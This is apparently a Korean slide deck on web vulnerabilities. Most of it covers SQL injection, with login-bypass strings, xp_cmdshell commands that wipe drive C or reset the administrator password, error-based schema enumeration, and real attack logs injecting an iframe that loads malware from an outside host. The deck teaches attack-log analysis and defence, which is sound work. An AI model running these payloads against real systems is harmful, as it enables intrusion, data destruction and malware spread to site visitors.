630 likes | 1.37k Views
Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS 6. 파일 업로드 7. 파일 다운로드 8. 디렉토리 노출 9. 인증이 없는 관리자 페이지 10. 쿠키변조 및 재사용 11. 파라미터 변조를 통한 시스템 명령어 사용 12. 자바스크립트 우회 13. HTTP 메소드 14. 불필요한 파일 노출 15. 에러 노출 16. 검색엔진. 학습 포인트 1. 웹 취약점 종류 및 원인에 대한 이해
E N D
Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS 6. 파일 업로드 7. 파일 다운로드 8. 디렉토리 노출 9. 인증이 없는 관리자 페이지 10. 쿠키변조 및 재사용 11. 파라미터 변조를 통한 시스템 명령어 사용 12. 자바스크립트 우회 13. HTTP 메소드 14. 불필요한 파일 노출 15. 에러 노출 16. 검색엔진
학습 포인트 1. 웹 취약점 종류 및 원인에 대한 이해 2. 취약점별 공격로그의 이해 3. 취약점별 대책(코딩 및 설정)
3. 취약점 분류 사이트 : www.owasp.org 웹 취약점을 10가지 형태로 분류하고 정의하며, 웹 보안에 관심 있는 기업 및 개인이 함께 공통된 프로젝트 수행
4. SQL Injection – 데이터베이스의 이해(1) • 데이터 : 현실 세계에서 존재하는 여러 가지 정보 • 예) 친구 이름, 주소 등 • 데이터베이스 : 데이터를 효율적으로 관리하기 위해 분리한 정보 데이터베이스 … 테이블 제품명 가격 .. 사번 직책 .. 이름 주소 .. 필드
4. SQL Injection – 데이터베이스의 이해(2) • 데이터베이스의 테이블을 정의하고 작성한다. • DLL 언어 : create(생성), alter(변경), drop(삭제) • 데이터베이스를 추가, 갱신, 삭제 및 검색을 수행한다. • DML 언어 : select, insert, update, delete • 데이터베이스 보안과 데이터의 연속성을 유지한다. • DCL 언어 : grant(권한할당), revoke(권한제거), commit(데이터변경승인) • , rollback(데이터변경취소)
4. SQL Injection – 데이터베이스의 이해(3) Select * from 상품 ; Select * from 상품 where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품
4. SQL Injection – 데이터베이스의 이해(4) insert into 상품 (상품번호, 상품이름, 가격) Values(100, ‘LCD’, ‘3000000’); 테이블 이름 : 상품
4. SQL Injection – 데이터베이스의 이해(5) update 상품 set 가격 = 50000 where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품
4. SQL Injection – 데이터베이스의 이해(6) Select * from 직장인 Union Select * from 학생; 두개의 조건 일치 ( 조건 : 두개의 데이터형이 동일) 직장인 학생
4. SQL Injection – 데이터베이스의 이해(7) select 지역이름, AVG(점포면적) from 지역 -------------- ① group by 지역이름 -------------- ② having AVG(점포면적) < 700; -------------- ③ ① ③ ②
4. SQL Injection – 데이터베이스의 이해(8) 숫자 형태에만 적용 가능 select sum(면적) 면적합계 from 지점; 테이블이름 : 지점 면적합계 : 32000
4. SQL Injection – 데이터베이스의 이해(8) select sum(지점명) 면적합계 from 지점; 테이블이름 : 지점 에러가 발생 ORA-01722 수 값이 유효하지 않습니다.
4. SQL Injection – 종류 구분 ① SQL Injection – 논리적 에러 예. SELECT * FROM user_data WHERE last_name = 'Your Name' or '1=1‘ ② Blind SQL Injection – 쿼리 결과 여부 예1. http://www.xxx.com/page.php?id=5 and 1=1 예2. http://www.xxx.com/page.php?id=5 and 1=2 ③ Union SQL Injection – 이중 쿼리 예1. http://www.site.com/news.php?id=5 union all select top 1 table_name from information_schema.tables ④ Stored Procedure SQL Injection - 저장프로시저 예1. http://www.site.com/member/checkid.asp?id= ';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an'; 12
4. SQL Injection – 원인은 무엇인가? System Object 권한제어 없이 기본 값 사용 1 ) exec master..xp_cmdshell 'net user administrator password' 디폴트 유저인 administrator의 패스워드 변경 2 ) exec master..xp_cmdshell 'dir c:\'C 드라이브 정보 보기 3 ) exec master..xp_cmdshell 'del c:\ /q/s'C 드라이브 파일 삭제 DB 계정을 관리자 계정(sa) 으로 일괄적 사용 1) bbs/bbs.asp?id=1
4. SQL Injection 기본 방법 이해 $id=admin $passwd=1’ or ‘1=1 admin********** 관리자로 로그인 성공 $strLoginSQL = "Select * from member where id = '$strUserID' and password = '$strUserPass'"; $strLoginSQL = "Select * from member where id = ‘admin' and password = ‘1’ or ‘1 = 1'"; FALSE TRUE TRUE
4. SQL Injection 기본 방법 이해 – 실습(5) • 계정 ‘-- 암호 -- • 에러정보 • Uname=%27--&Pass=%27--&submitLogin=Submit • 2) 계정 'or 1=1 암호 'or 1=1 • 에러정보 • 'UserName = ''or 1=1' and Pass = ''or 1=1'‘ • Quiz . 1번과 2번 정보를 바탕으로 어떤 값을 넣어야 하는가?
4. SQL Injection 공격 로그의 특징 ■ 서버 응답 코드가 500 보다 높거나 계속적인 다른 에러 - 응답코드 500 : Internal Server Error ■ 운영과 관련 없는 형태의 질의 요청(시스템 명령어 및 특수문자 포함 등) - 특수문자 : ‘ ; xp_cmdshell 등
4. SQL Injection 공격 로그 – 첫 번째 1. Number=2002-002412'|63|80040e14|'2002-002412''_문자열_앞에_닫히지_않은_인용_부호가_있습니다. 2. Number=2002-002412' and user=1 and ''='|63|80040e07|nvarchar_값_'team'을(를)_int_데이터_형식의_열로_변환 하는_중_구문_오류가_발생했습니다. 500 3. Number=2002-002412' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 4. /Report.asp Number=2002-002412' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 5. Number=2002-002412’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' 6. Number=2002-002412’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^<iframe%20src=^'http://www.netpk.org/subway/icyfox.htm^'%20
4. SQL Injection 공격 로그 – 첫 번째 데이터타입불일치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예1) ' and user=1 and ''=‘ (예2) char(124)+user+char(124)=0 and '%'=‘ ( char(124)는 파이프를 의미함 |user|=0 )
4. SQL Injection 공격 로그 – 첫 번째 확인한 계정의 서버역할이 sysadmin 인지 요청함 ' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''=‘
4. SQL Injection 공격 로그– 첫 번째 확인한 계정의 DB역할이 db_owner 인지 요청함 ' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='
4. SQL Injection 공격 로그 – 첫 번째 • 마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 • ’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll‘ • * MS SQL의 기본 DB 구성 요소 • Master db : 로그인 계정, 환경설정, 시스템 저장 프로시저와 같은 시스템에 • 영향을 미치는 정보 저장(중요) • Msdb : 작업정의, 연산자, 수정작업과 같은 정보 저장 • Model : 참조 db이며, 사용자를 이를 바탕으로 db 작성 • Tempdb : 임시 테이블 및 임시 저장 프로시저 저장 * 저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합, 특정 작업을 일괄 처리하기위한 용도로 사용
4. SQL Injection 공격 로그 – 첫 번째 생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(<iframe>…..) 및 소스 중간 삽입 ’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^ <iframe%20src=^'http://www.netpk.org/subway/icyfox.htm^'%20 악성프로그램(다운로드) 사용자 <iframe src=http://xxx.xxx>
4. SQL Injection 공격 로그 – 두 번째 확장형 저장 프로시저 (xp_cmdshell)제거 - dropextendedproc ;exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'--
4. SQL Injection 공격 로그 – 세 번째 /Test/Test.asp Code= Bank' &Number=7 &Ref=7' &Page=1&Sear=Writer&Key= |24|80040e14| '_SET_Visited=Visited+1_WHERE_Number_=_7'_문자열_앞에_닫히지_ 않은_인용_부호가_있습니다. 500 === 초기형태로 특수문자(‘)후 에러 노출 여부 확인 목적 /Report.asp Number=2002-002412' and user=1 and ''=‘ |63|80040e07|nvarchar_값_'blabla'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === 에러 노출을 이용한 db 계정 획득 목적 200X-09-10 06:24:49 /Report.asp Number=2002-002412' And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1 And ''=‘ |63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === db계정(blabla)가 sysadmin 인지를 확인
4. SQL Injection 공격 로그 – 세 번째 IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) = IS_SRVROLEMEMBER(sysadmin)
4. SQL Injection 공격 로그 – 세 번째 Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) = Cast(IS_MEMBER(db_owner)
4. SQL Injection 공격 로그 – 세 번째 db_name() 함수 : 데이터베이스 이름 제공
4. SQL Injection 공격 로그 – 세 번째 • 테이블 삭제 ( drop nb_treelist_tmp ) • 테이블 생성 ( create table nb_treelist_tmp … )
4. SQL Injection 공격 로그 – 세 번째 exec master..xp_dirtree 'C:\‘ 1 1
4. SQL Injection 공격 로그 – 세 번째 SQL> SELECT rowid, rownum, deptno, dname from dept; ROWID ROWNUM DEPTNO DNAME------------------ ---------- ---------- --------------AAA 1 10 ACCOUNTINGAAB 2 20 RESEARCHAAC 3 30 SALESAAD 4 40 OPERATIONS SQL> SELECT ENAME, SAL, ROWNUM FROM(SELECT * FROM EMP ORDER BY SAL DESC); ENAME SAL ROWNUM---------- ---------- ----------ABBK 70001KING 5000 2FORD 3000 3SCOTT 3000 4JONES 2975 5BLAKE 2850 6CLARK 2450 7ALLEN 1600 8
4. SQL Injection 공격 로그 – 세 번째 • Declare : 선언하는 함수 • @a를 sysname ( @a=db_name() 는 데이터베이스이름을 @a로 할당) • - @s를 nvarchar(4000)형태로 4000바이트의 공간 할당하며, 16진수형태이름을 • 할당함, 즉 love.bak라는 이름을 @s로 별칭줌 • @s=0x6C006F00760065002E00620061006B00 • - Backup database @a(db_name()) to disk=@s • 참고) 백업 명령: backup database 데이터베이스이름to 백업장치
4. SQL Injection 공격 로그 – 네 번째 Update normal(테이블이름) set subject(필드) = '<h2>!nf3rN.4lL Was Here</2>‘(내용); 참고)update 테이블이름 set 필드이름 = ‘변경내용’ Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까?
4. SQL Injection 공격 로그 – 네 번째 Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까? 에러 ‘having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id
4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 : user_id 그렇다면 다른 필드 값은 어떻게? ‘group by user_id having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id user_name
4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 : user_id user_name user_id password creation_date 그렇다면 필드의 데이터 타입은? 'UNION select sum(user_id) from FSB_USERS having 1=1-- 참고 : sum은 숫자 타입에만 사용 가능 The sum or average aggregate operation cannot take a varchar data type as an argument.
4. SQL Injection 공격 로그 – 네 번째 결론 : 결국 데이터베이스 정보(테이블 및 필드 이름, 필드 타입)확보를 통해 임의 데이터 변조가 가능함 테이블 이름 : FSB_USERS 필드 : user_id ( integer ) user_name ( varchar ) user_id ( varchar ) password ( varchar ) creation_date ( datetime ) 'insert into FSB_USERS values (user_id, ‘user_name', ‘user_id', ‘password', GETDATE())--
4. SQL Injection 공격 로그 – 다섯 번째 Mass SQL Injection : 데이터베이스의 정보를 악용하여 악성코드 링크를 특정 테이블의 필드 혹은 전체 테이블의 필드(게시판 등)에 삽입하여 접속하는 사용자를 악성코드에 감염시키는 대량 공격 기법 http://xxx.com 데이터베이스 사용자 … 테이블 사용자 우편번호 게시판 필드 <script src=http://xxx.com>
4. SQL Injection 공격 로그 – 다섯 번째 Sysobjects(데이터베이스에서 만들어진 각 개체(제약 조건, 기본값, 로그, 규칙, 저장 프로시저 등)에 대해 한 행을 포함합니다. syscolumns(모든 테이블과 뷰에 있는 각 칼럼 정보 제공), systypes(데이터베이스에 있는 모든 시스템 데이터 타입과 정의 데이터 타입을 제공) Sysobjects정보
4. SQL Injection 공격 로그 – 다섯 번째 sysobjects의 type 필드 C = CHECK 제약 조건D = 기본값 또는 DEFAULT 제약 조건F = FOREIGN KEY 제약 조건FN = 스칼라 함수IF = 인라인 테이블 함수K = PRIMARY KEY 또는 UNIQUE 제약 조건L = 로그P = 저장 프로시저R = 규칙RF = 복제 필터 저장 프로시저S = 시스템 테이블TF = 테이블 함수TR = 트리거U = 사용자 테이블V = 뷰X = 확장 저장 프로시저 Quiz. 어떤 의미인가? select * from sysobjects where type = 'U';
4. SQL Injection 공격 로그 – 다섯 번째 Syscolumns, systypes 정보
4. SQL Injection 공격 로그 – 다섯 번째 Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) dbo.sysobjects a ( sysobjects를 a 로 별칭 ) dbo.syscolumns b ( syscolumn를 b 로 별칭 ) dbo.systypes c ( systypes를 c 로 별칭 ) where a.id=b.id and a.xtype='U‘ and b.xtype=c.xtype and c.name='varchar'; 테이블정보 사용자테이블 테이블 필드 데이터필드 중 varchar